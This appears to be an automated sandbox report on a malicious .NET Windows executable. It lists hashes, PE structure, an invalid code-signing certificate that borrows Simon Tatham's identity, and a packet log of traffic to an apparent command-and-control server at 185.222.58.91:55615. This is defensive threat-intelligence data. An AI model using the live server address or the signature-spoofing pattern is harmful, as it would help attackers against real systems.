SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.907614712777529
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.98% Win32 Executable (generic) a (10002005/4) 49.93% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	lZ8NRWShfC.exe
File size:	730'120 bytes
MD5:	3599fa63d78413242a88966d3b4b14ef
SHA1:	44526b00e847d9a16908c79f72dab1af4a2edf29
SHA256:	c08ff513ad0787ed08c72bbdcda0d166e603ea0736f5687b3dddc0f4bb87da33
SHA512:	e04604e58c9a0eb4e6bbea99d59295463cb9058f82c2527502acb6fe47989fc4f72b69338bb66ca5c5fc5a62d785fb65fcd4eb272a6136a1c240592076845d73
SSDEEP:	12288:vV9E8GILjWLWg/yvjaRBv5MIorus1IPI4AMqoYg/6vXdW1JeSel43qiukR:7cam5MI+TIPuM//CXd+JWl46i1
TLSH:	2EF40214B2594B99D26E5FFD0D90880557345B2B3320C3AE2FCC62DA9086B4EF74AD7B
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f..............0.............b.... ........@.. .......................@............@................................

File Icon


Icon Hash:	3570b480858580c5

Static PE Info

General

Entrypoint:	0x4aed62
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x66820CA2 [Mon Jul 1 01:55:46 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=COMODO RSA Code Signing CA, O=COMODO CA Limited, L=Salford, S=Greater Manchester, C=GB
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	13/11/2018 00:00:00 08/11/2021 23:59:59
Subject Chain	CN=Simon Tatham, O=Simon Tatham, L=Cambridge, S=Cambridgeshire, C=GB
Version:	3
Thumbprint MD5:	DABD77E44EF6B3BB91740FA46696B779
Thumbprint SHA-1:	5B9E273CF11941FD8C6BE3F038C4797BBE884268
Thumbprint SHA-256:	4CD3325617EBB63319BA6E8F2A74B0B8CCA58920B48D8026EBCA2C756630D570
Serial:	7C1118CBBADC95DA3752C46E47A27438

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xaed10	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xb0000	0x1a90	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0xaee00	0x3608
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xb2000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xacd68	0xace00	30df92c3807f7fe2ddefbf39c9e0418f	False	0.8020988679501084	data	7.914344938020503	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xb0000	0x1a90	0x1c00	05420c9ddcef8354cee64a489e822c7e	False	0.7887834821428571	data	7.254229200237954	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xb2000	0xc	0x200	90d29b59765d583d29f5a3290203b77b	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0xb0118	0x162c	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.906800563777308
RT_GROUP_ICON	0xb1744	0x14	data	0.9
RT_GROUP_ICON	0xb1758	0x14	data	1.05
RT_VERSION	0xb176c	0x324	data	0.43656716417910446

Imports

DLL	Import
mscoree.dll	_CorExeMain

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 3, 2024 18:17:17.742558956 CEST	49732	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:17.747461081 CEST	55615	49732	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:17.747551918 CEST	49732	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:17.773061037 CEST	49732	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:17.777956009 CEST	55615	49732	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:18.131932020 CEST	49732	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:18.136826038 CEST	55615	49732	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:18.348639965 CEST	55615	49732	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:18.412899971 CEST	49732	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:18.482686996 CEST	55615	49732	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:18.592158079 CEST	49732	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:23.546303988 CEST	49732	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:23.850421906 CEST	49732	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:23.897418022 CEST	49732	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:23.953367949 CEST	55615	49732	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:23.953386068 CEST	55615	49732	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:23.953394890 CEST	55615	49732	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:24.139616966 CEST	55615	49732	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:24.139641047 CEST	55615	49732	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:24.139656067 CEST	55615	49732	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:24.139695883 CEST	49732	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:24.140043974 CEST	55615	49732	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:24.140101910 CEST	49732	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:24.144259930 CEST	55615	49732	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:24.194287062 CEST	49732	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:24.226300955 CEST	55615	49732	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:24.272301912 CEST	49732	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.035798073 CEST	49734	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.040787935 CEST	55615	49734	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.040890932 CEST	49734	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.048851967 CEST	49734	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.056338072 CEST	55615	49734	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.229964018 CEST	49732	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.230381012 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.235179901 CEST	55615	49732	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.235197067 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.235270023 CEST	49732	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.235316038 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.241832018 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.242305040 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.246561050 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.246623039 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.247167110 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.247176886 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.247205019 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.247215986 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.247265100 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.247282982 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.247323990 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.247339010 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.247349977 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.247379065 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.247386932 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.247400045 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.247426033 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.247440100 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.247474909 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.251455069 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.251538038 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.252460957 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.252471924 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.252526045 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.252846003 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.252856970 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.252866030 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.252913952 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.253071070 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.253247023 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.299856901 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.300077915 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.351756096 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.351824045 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.400043964 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.400567055 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.405728102 CEST	49734	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.410592079 CEST	55615	49734	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.451764107 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.454262018 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.503683090 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.504551888 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.555635929 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.556570053 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.603687048 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.603802919 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.637227058 CEST	55615	49734	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.655688047 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.655754089 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.666100979 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.666595936 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.666728973 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.671780109 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.671817064 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.671827078 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.671838045 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.671844006 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.671859026 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.671870947 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.671875000 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.671879053 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.671880960 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.671906948 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.671911001 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.671930075 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.671945095 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.671948910 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.671953917 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.671957970 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.671961069 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.671969891 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.671973944 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.671983004 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.671993017 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.672003031 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.672038078 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.672041893 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.672044992 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.672046900 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.672091007 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.672103882 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.672116041 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.672123909 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.672125101 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.672133923 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.672173977 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.672189951 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.672208071 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.672219038 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.672226906 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.672235966 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.672245026 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.672249079 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.672255993 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.672283888 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.672297955 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.672600985 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.672610998 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.672655106 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.672666073 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.672691107 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.672703981 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.672713995 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.672723055 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.672733068 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.672734022 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.672746897 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.672755957 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.672765017 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.672765017 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.672775030 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.672779083 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.672785044 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.672794104 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.672796965 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.672802925 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.672812939 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.672812939 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.672821999 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.672838926 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.672838926 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.672848940 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.672858953 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.672867060 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.672868013 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.672883034 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.672907114 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.676858902 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.676892042 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.676901102 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.676915884 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.676954985 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.677185059 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.677232981 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.677279949 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.677289963 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.677300930 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.677319050 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.677333117 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.677335978 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.677344084 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.677345991 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.677357912 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.677361965 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.677371979 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.677386045 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.677402020 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.677412987 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.677417994 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.677423000 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.677453995 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.677464008 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.677464008 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.677468061 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.677472115 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.677493095 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.677508116 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.677517891 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.677530050 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.677536964 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.677546978 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.677552938 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.677576065 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.677580118 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.677591085 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.677594900 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.677598953 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.677609921 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.677629948 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.677633047 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.677642107 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.677651882 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.677669048 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.677675962 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.677680016 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.677689075 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.677697897 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.677706003 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.677706957 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.677716970 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.677720070 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.677743912 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.677747965 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.677753925 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.677777052 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.677808046 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.677871943 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.677897930 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.677911997 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.677921057 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.677932024 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.677938938 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.677958965 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.677973032 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.677987099 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.677998066 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.678045988 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.678101063 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.678138971 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.678183079 CEST	55615	49735	185.222.58.91	192.168.2.4
